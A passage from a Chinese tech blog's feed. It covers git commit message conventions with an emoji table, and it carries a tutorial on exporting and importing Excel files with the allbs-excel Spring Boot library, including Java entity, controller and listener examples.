    <content type="html"><![CDATA[<h2 id="文字规范">文字规范</h2><p>commit一共由五部分组成，具体内容如下。</p><h3 id="type"><code>type</code></h3><p>提交 commit 的类型，包括以下几种</p><ul><li>feat: 新功能</li><li>fix: 修复问题</li><li>docs: 修改文档</li><li>style: 修改代码格式，不影响代码逻辑</li><li>refactor: 重构代码，理论上不影响现有功能</li><li>perf: 提升性能</li><li>test: 增加修改测试用例</li><li>chore: 修改工具相关（包括但不限于文档、代码生成等）</li><li>deps: 升级依赖</li></ul><h3 id="scope"><code>scope</code></h3><p>修改文件的范围（包括但不限于 doc, middleware, core, config, plugin）</p><h3 id="subject"><code>subject</code></h3><p>用一句话清楚的描述这次提交做了什么</p><h3 id="body"><code>body</code></h3><p>补充 subject，适当增加原因、目的等相关因素，也可不写。</p><h3 id="footer"><code>footer</code></h3><ul><li>当有非兼容修改(Breaking Change)时必须在这里描述清楚</li><li>关联相关 issue，如 <code>Closes #1, Closes #2, #3</code></li><li>如果功能点有新增或修改的，还需要关联文档 <code>doc</code></li></ul><h2 id="emoji规范">emoji规范</h2><table><thead><tr><th style="text-align:center">emoji</th><th style="text-align:center">emoji代码</th><th style="text-align:center">commit说明</th></tr></thead><tbody><tr><td style="text-align:center">🎨 (调色板)</td><td style="text-align:center">:art:</td><td style="text-align:center">改进代码结构/代码格式</td></tr><tr><td style="text-align:center">⚡️ (闪电)</td><td style="text-align:center">:zap:</td><td style="text-align:center">提升性能</td></tr><tr><td style="text-align:center">🐎 (赛马)</td><td style="text-align:center">:racehorse:</td><td style="text-align:center">提升性能</td></tr><tr><td style="text-align:center">🔥 (火焰)</td><td style="text-align:center">:fire:</td><td style="text-align:center">移除代码或文件</td></tr><tr><td style="text-align:center">🐛 (bug)</td><td style="text-align:center">:bug:</td><td style="text-align:center">修复 bug</td></tr><tr><td style="text-align:center">🚑 (急救车)</td><td style="text-align:center">:ambulance:</td><td style="text-align:center">重要补丁</td></tr><tr><td style="text-align:center">✨ (火花)</td><td style="text-align:center">:sparkles:</td><td style="text-align:center">引入新功能</td></tr><tr><td style="text-align:center">📝 (铅笔)</td><td style="text-align:center">:pencil:</td><td style="text-align:center">撰写文档</td></tr><tr><td style="text-align:center">🚀 (火箭)</td><td style="text-align:center">:rocket:</td><td style="text-align:center">部署功能</td></tr><tr><td style="text-align:center">💄 (口红)</td><td style="text-align:center">:lipstick:</td><td style="text-align:center">更新 UI 和样式文件</td></tr><tr><td style="text-align:center">🎉 (庆祝)</td><td style="text-align:center">:tada:</td><td style="text-align:center">初次提交</td></tr><tr><td style="text-align:center">✅ (白色复选框)</td><td style="text-align:center">:white_check_mark:</td><td style="text-align:center">增加测试</td></tr><tr><td style="text-align:center">🔒 (锁)</td><td style="text-align:center">:lock:</td><td style="text-align:center">修复安全问题</td></tr><tr><td style="text-align:center">🍎 (苹果)</td><td style="text-align:center">:apple:</td><td style="text-align:center">修复 macOS 下的问题</td></tr><tr><td style="text-align:center">🐧 (企鹅)</td><td style="text-align:center">:penguin:</td><td style="text-align:center">修复 Linux 下的问题</td></tr><tr><td style="text-align:center">🏁 (旗帜)</td><td style="text-align:center">:checked_flag:</td><td style="text-align:center">修复 Windows 下的问题</td></tr><tr><td style="text-align:center">🔖 (书签)</td><td style="text-align:center">:bookmark:</td><td style="text-align:center">发行/版本标签</td></tr><tr><td style="text-align:center">🚨 (警车灯)</td><td style="text-align:center">:rotating_light:</td><td style="text-align:center">移除 linter 警告</td></tr><tr><td style="text-align:center">🚧 (施工)</td><td style="text-align:center">:construction:</td><td style="text-align:center">工作进行中</td></tr><tr><td style="text-align:center">💚 (绿心)</td><td style="text-align:center">:green_heart:</td><td style="text-align:center">修复 CI 构建问题</td></tr><tr><td style="text-align:center">⬇️ (下降箭头)</td><td style="text-align:center">:arrow_down:</td><td style="text-align:center">降级依赖</td></tr><tr><td style="text-align:center">⬆️ (上升箭头)</td><td style="text-align:center">:arrow_up:</td><td style="text-align:center">升级依赖</td></tr><tr><td style="text-align:center">👷 (工人)</td><td style="text-align:center">:construction_worker:</td><td style="text-align:center">添加 CI 构建系统</td></tr><tr><td style="text-align:center">📈 (上升趋势图)</td><td style="text-align:center">:chart_with_upwards_trend:</td><td style="text-align:center">添加分析或跟踪代码</td></tr><tr><td style="text-align:center">🔨 (锤子)</td><td style="text-align:center">:hammer:</td><td style="text-align:center">重大重构</td></tr><tr><td style="text-align:center">➖ (减号)</td><td style="text-align:center">:heavy_minus_sign:</td><td style="text-align:center">减少一个依赖</td></tr><tr><td style="text-align:center">🐳 (鲸鱼)</td><td style="text-align:center">:whale:</td><td style="text-align:center">相关工作</td></tr><tr><td style="text-align:center">➕ (加号)</td><td style="text-align:center">:heavy_plus_sign:</td><td style="text-align:center">增加一个依赖</td></tr><tr><td style="text-align:center">🔧 (扳手)</td><td style="text-align:center">:wrench:</td><td style="text-align:center">修改配置文件</td></tr><tr><td style="text-align:center">🌐 (地球)</td><td style="text-align:center">:globe_with_meridians:</td><td style="text-align:center">国际化与本地化</td></tr><tr><td style="text-align:center">✏️ (铅笔)</td><td style="text-align:center">:pencil2:</td><td style="text-align:center">修复 typo</td></tr></tbody></table><h2 id="git提交插件">git提交插件</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/06/4b12b0e401ca6900613441a1e74bfc51.png" alt=""></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;文字规范&quot;&gt;文字规范&lt;/h2&gt;
&lt;p&gt;commit一共由五部分组成，具体内容如下。&lt;/p&gt;
&lt;h3 id=&quot;type&quot;&gt;&lt;code&gt;type&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;提交 commit 的类型，包括以下几种&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;feat: 新功能&lt;/l</summary>
      
    
    
    
    <category term="git" scheme="https://blog.allbs.cn/categories/git/"/>
    
    
    <category term="git" scheme="https://blog.allbs.cn/tags/git/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - excel导入导出</title>
    <link href="https://blog.allbs.cn/posts/19398/"/>
    <id>https://blog.allbs.cn/posts/19398/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.4</td></tr><tr><td>easyexcel</td><td>3.1.1</td></tr><tr><td>spring-boot-starter-validation</td><td>2.7.4</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.4</td></tr><tr><td>allbs-common</td><td>1.1.8</td></tr><tr><td>spring-boot-starter-aop</td><td>2.7.4</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-excel<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-excel:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-excel:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="基本导出">基本导出</h3><blockquote><p>当前特殊类型转换的只有java8的LocalDate和LocalDateTime以及TimeStamp 类型转换，如有其他特殊要求请联系我添加转换方法</p></blockquote><h4 id="java">java</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@ApiOperation(value = &quot;excel导出&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;exportExcel&quot;)</span></span><br><span class="line"><span class="meta">@ExportExcel(name = &quot;测试excel&quot;, sheets = @Sheet(sheetName = &quot;第一个sheet&quot;))</span></span><br><span class="line"><span class="keyword">public</span> List&lt;MeterAccountEntity&gt; <span class="title function_">exportExcel</span><span class="params">()</span> &#123;</span><br><span class="line">    List&lt;MeterAccountEntity&gt; accountEntities = meterAccountService.list();</span><br><span class="line">    <span class="keyword">return</span> accountEntities;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="前端">前端</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">href</span> = serverUrl + <span class="string">&quot;/meterAccount/exportExcel&quot;</span>;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221621940.png" alt=""></p><h3 id="定义字段名称、宽度、忽略字段等">定义字段名称、宽度、忽略字段等</h3><table><thead><tr><th>注解</th><th>说明</th></tr></thead><tbody><tr><td>@ColumnWidth</td><td>设定宽度</td></tr><tr><td>@ExcelIgnore</td><td>忽略该行</td></tr><tr><td>@ExcelProperty</td><td>设定列名称</td></tr><tr><td>@ContentStyle</td><td>样式设置各样式具体查看源码即可</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@ApiModel(value = &quot;&quot;)</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="meta">@Accessors(chain = true)</span></span><br><span class="line"><span class="meta">@TableName(&quot;meter_account&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MeterAccountEntity</span> <span class="keyword">extends</span> <span class="title class_">Model</span>&lt;MeterAccountEntity&gt; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">356241669539194507L</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@TableId(value = &quot;id&quot;, type = IdType.AUTO)</span></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;&quot;)</span></span><br><span class="line">    <span class="meta">@ColumnWidth(10)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;用户名&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;用户名&quot;)</span></span><br><span class="line">    <span class="meta">@ContentStyle(fillPatternType = FillPatternType.SOLID_FOREGROUND, fillForegroundColor = 40)</span></span><br><span class="line">    <span class="keyword">private</span> String userName;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;密码&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;密码&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;id&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String clientId;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;企业名称&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String unitName;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;0：正常1：逻辑删除&quot;)</span></span><br><span class="line">    <span class="meta">@TableLogic</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Integer delFlg;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;创建人id&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Long createId;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;创建时间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;更新人id&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Long updateId;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;更新时间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime updateTime;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Long unitId;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221621036.png" alt=""></p><h3 id="FillPattern模式说明">FillPattern模式说明</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221621299.png" alt=""></p><h3 id="fillForegroundColor颜色表">fillForegroundColor颜色表</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221622715.png" alt=""></p><h3 id="导出多个sheet-并加上密码">导出多个sheet,并加上密码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@ApiOperation(value = &quot;excel导出多sheet&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;exportSheets&quot;)</span></span><br><span class="line"><span class="meta">@ExportExcel(name = &quot;多sheet导出&quot;, sheets = &#123;@Sheet(sheetName = &quot;第一个sheet&quot;), @Sheet(sheetName = &quot;第二个sheet&quot;)&#125;, password = &quot;chenqi&quot;)</span></span><br><span class="line"><span class="keyword">public</span> List&lt;List&lt;MeterAccountEntity&gt;&gt; <span class="title function_">exportSheets</span><span class="params">()</span> &#123;</span><br><span class="line">    List&lt;MeterAccountEntity&gt; accountEntities = meterAccountService.list();</span><br><span class="line">    List&lt;List&lt;MeterAccountEntity&gt;&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    list.add(accountEntities.stream().filter(a -&gt; a.getId() % <span class="number">2</span> == <span class="number">0</span>).collect(Collectors.toList()));</span><br><span class="line">    list.add(accountEntities.stream().filter(a -&gt; a.getId() % <span class="number">2</span> != <span class="number">0</span>).collect(Collectors.toList()));</span><br><span class="line">    <span class="keyword">return</span> list;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202109221622341.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/202109221622920.png" alt=""></p><h3 id="读excel">读excel</h3><div class="note warning simple"><p>注意实体类中千万不要加@Accessors(chain = true) 否则会读不到数据</p></div><div class="note simple"><p>导入时适用spring-boot-starter-validation字段校验，所有错误信息将会保存在BindingResult中，出现校验错误的<code>行</code>将不会导入</p></div><h4 id="方式一-使用注解-RequestExcel">方式一 使用注解@RequestExcel</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;importExcel&quot;)</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">importExcel</span><span class="params">(<span class="meta">@RequestExcel(ignoreEmptyRow = true)</span> List&lt;MeterAccountEntity&gt; list, BindingResult bindingResult)</span> &#123;</span><br><span class="line">    meterAccountService.saveBatch(list);</span><br><span class="line">    List&lt;ErrorMessage&gt; errorMessageList = Convert.toList(ErrorMessage.class, bindingResult.getTarget());</span><br><span class="line">    List&lt;String&gt; resList = errorMessageList.stream().map(a -&gt; <span class="string">&quot;第&quot;</span> + a.getLineNum() + <span class="string">&quot;行&quot;</span> + a.getErrors()).collect(Collectors.toList());</span><br><span class="line">    <span class="keyword">return</span> StrUtil.join(StringPool.SEMICOLON, resList);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方式二-文件流读取">方式二 文件流读取</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/importExcel&quot;)</span></span><br><span class="line"><span class="keyword">public</span> List&lt;TestFirEntity&gt; <span class="title function_">importExcel</span><span class="params">(MultipartFile file)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">    List&lt;TestFirEntity&gt; list = EasyExcel.read(file.getInputStream()).head(TestFirEntity.class).sheet().doReadSync();</span><br><span class="line">    <span class="keyword">return</span> list;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方式三-添加监听器">方式三 添加监听器</h4><h5 id="监听器">监听器</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MeterAccountListener</span> <span class="keyword">extends</span> <span class="title class_">AnalysisEventListener</span>&lt;MeterAccountEntity&gt; &#123;</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 每隔5条存储数据库，实际使用中可以3000条，然后清理list ，方便内存回收</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">BATCH_COUNT</span> <span class="operator">=</span> <span class="number">5</span>;</span><br><span class="line">    List&lt;MeterAccountEntity&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;MeterAccountEntity&gt;();</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 假设这个是一个DAO，当然有业务逻辑这个也可以是一个service。当然如果不用存储这个对象没用。</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Resource</span></span><br><span class="line">    <span class="keyword">private</span> MeterAccountService demoDAO;</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 这个每一条数据解析都会来调用</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> data    one row value. Is is same as &#123;<span class="doctag">@link</span> AnalysisContext#readRowHolder()&#125;</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> context</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">invoke</span><span class="params">(MeterAccountEntity data, AnalysisContext context)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;解析到一条数据:&#123;&#125;&quot;</span>, JSON.toJSONString(data));</span><br><span class="line">        list.add(data);</span><br><span class="line">        <span class="comment">// 达到BATCH_COUNT了，需要去存储一次数据库，防止数据几万条数据在内存，容易OOM</span></span><br><span class="line">        <span class="keyword">if</span> (list.size() &gt;= BATCH_COUNT) &#123;</span><br><span class="line">            saveData();</span><br><span class="line">            <span class="comment">// 存储完成清理 list</span></span><br><span class="line">            list.clear();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 所有数据解析完成了 都会来调用</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> context</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doAfterAllAnalysed</span><span class="params">(AnalysisContext context)</span> &#123;</span><br><span class="line">        <span class="comment">// 这里也要保存数据，确保最后遗留的数据也存储到数据库</span></span><br><span class="line">        saveData();</span><br><span class="line">        log.info(<span class="string">&quot;所有数据解析完成！&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 加上存储数据库</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">saveData</span><span class="params">()</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;&#123;&#125;条数据，开始存储数据库！&quot;</span>, list.size());</span><br><span class="line">        demoDAO.saveBatch(list);</span><br><span class="line">        log.info(<span class="string">&quot;存储数据库成功！&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="controller">controller</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;importExcel1&quot;)</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">importExcel1</span><span class="params">(<span class="meta">@RequestParam(&quot;file&quot;)</span> MultipartFile file)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">    <span class="type">ExcelReader</span> <span class="variable">excelReader</span> <span class="operator">=</span> EasyExcel.read(file.getInputStream(), MeterAccountEntity.class, <span class="keyword">new</span> <span class="title class_">MeterAccountListener</span>()).build();</span><br><span class="line">    <span class="type">ReadSheet</span> <span class="variable">readSheet</span> <span class="operator">=</span> EasyExcel.readSheet(<span class="number">0</span>).build();</span><br><span class="line">    excelReader.read(readSheet);</span><br><span class="line">    <span class="comment">// 这里千万别忘记关闭，读的时候会创建临时文件，到时磁盘会崩的</span></span><br><span class="line">    excelReader.finish();</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;success&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="Entity">Entity</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@ApiModel(value = &quot;&quot;)</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@TableName(&quot;meter_account&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MeterAccountEntity</span> <span class="keyword">extends</span> <span class="title class_">Model</span>&lt;MeterAccountEntity&gt; &#123;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">356241669539194507L</span>;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@TableId(value = &quot;id&quot;, type = IdType.AUTO)</span></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;&quot;)</span></span><br><span class="line">    <span class="meta">@ColumnWidth(10)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;用户名&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;用户名&quot;, index = 0)</span></span><br><span class="line">    <span class="meta">@ContentStyle(fillPatternType = FillPatternType.SOLID_FOREGROUND, fillForegroundColor = 40)</span></span><br><span class="line">    <span class="keyword">private</span> String userName;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;密码&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;密码&quot;, index = 1)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;id&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(index = 2)</span></span><br><span class="line">    <span class="keyword">private</span> String clientId;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;企业名称&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelProperty(index = 3)</span></span><br><span class="line">    <span class="keyword">private</span> String unitName;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;0：正常1：逻辑删除&quot;)</span></span><br><span class="line">    <span class="meta">@TableLogic</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span class="keyword">private</span> Integer delFlg;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;创建人id&quot;)</span></span><br><span class="line">    <span class="meta">@ExcelIgnore</span></span><br><span class="line">    <span 